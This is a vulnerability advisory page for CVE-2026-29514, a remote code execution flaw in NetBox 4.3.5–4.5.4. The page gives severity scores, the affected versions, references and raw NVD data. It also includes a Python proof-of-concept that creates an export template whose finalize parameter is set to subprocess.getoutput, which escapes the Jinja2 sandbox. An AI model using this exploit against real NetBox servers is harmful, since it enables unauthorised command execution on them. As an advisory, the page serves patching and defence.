CVE-2026-29514

Description

NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability in the RenderTemplateMixin.get_environment_params() method that allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary code by specifying malicious Python callables in the environment_params field. Attackers can bypass Jinja2 SandboxedEnvironment protections by setting the finalize parameter to any importable Python callable such as subprocess.getoutput, which is invoked on every rendered expression outside the sandbox's call interception mechanism, achieving remote code execution as the NetBox service user.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NetBox 4.3.5

NetBox 4.3.6

NetBox 4.4.0

NetBox 4.4.1

NetBox 4.5.0

NetBox 4.5.1

NetBox 4.5.2

NetBox 4.5.3

NetBox 4.5.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Exploit for CVE-2026-29514
# Target: NetBox 4.3.5 - 4.5.4

target = "http://your-netbox-instance"
api_token = "YOUR_API_TOKEN"

headers = {
    "Authorization": f"Token {api_token}",
    "Content-Type": "application/json",
    "Accept": "application/json"
}

# Malicious payload to bypass Jinja2 sandbox
# Setting finalize to subprocess.getoutput allows command execution
payload_data = {
    "name": "RCE_Exploit_Template",
    "content_type": "dcim.device",
    "template_code": "{{ 'whoami' }}",
    # The key is injecting a callable into finalize
    "environment_params": json.dumps({"finalize": "subprocess.getoutput"})
}

try:
    # Step 1: Create the malicious export template
    response = requests.post(
        f"{target}/api/extras/export-templates/",
        headers=headers,
        json=payload_data
    )
    
    if response.status_code == 201:
        print("[+] Malicious template created successfully.")
        template_id = response.json()['id']
        print(f"[+] Template ID: {template_id}")
        
        # Step 2: Trigger rendering (This usually happens via export action)
        # Example: Exporting a device using this template
        # In a real attack, this would involve finding a valid device ID and triggering the export endpoint
        print("[+] Note: Manual trigger via the UI or specific export API endpoint required to execute code.")
    else:
        print(f"[-] Failed to create template: {response.text}")
        
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29514
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29514
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29514/
[4] VulDB https://vuldb.com/cve/CVE-2026-29514
[5] https://chocapikk.com/posts/2026/netbox-export-template-rce/
[6] https://github.com/netbox-community/netbox/issues/22079
[7] https://github.com/netbox-community/netbox/pull/22078
[8] https://www.vulncheck.com/advisories/netbox-rce-via-rendertemplatemixin

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29514", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:22.880", "lastModified": "2026-05-05T19:47:31.297", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NetBox versions 4.3.5 through 4.5.4 contain a remote code execution vulnerability in the RenderTemplateMixin.get_environment_params() method that allows authenticated users with exporttemplate or configtemplate permissions to execute arbitrary code by specifying malicious Python callables in the environment_params field. Attackers can bypass Jinja2 SandboxedEnvironment protections by setting the finalize parameter to any importable Python callable such as subprocess.getoutput, which is invoked on every rendered expression outside the sandbox's call interception mechanism, achieving remote code execution as the NetBox service user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-183"}]}], "references": [{"url": "https://chocapikk.com/posts/2026/netbox-export-template-rce/", "source": "[email protected]"}, {"url": "https://github.com/netbox-community/netbox/issues/22079", "source": "[email protected]"}, {"url": "https://github.com/netbox-community/netbox/pull/22078", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/netbox-rce-via-rendertemplatemixin", "source": "[email protected]"}]}}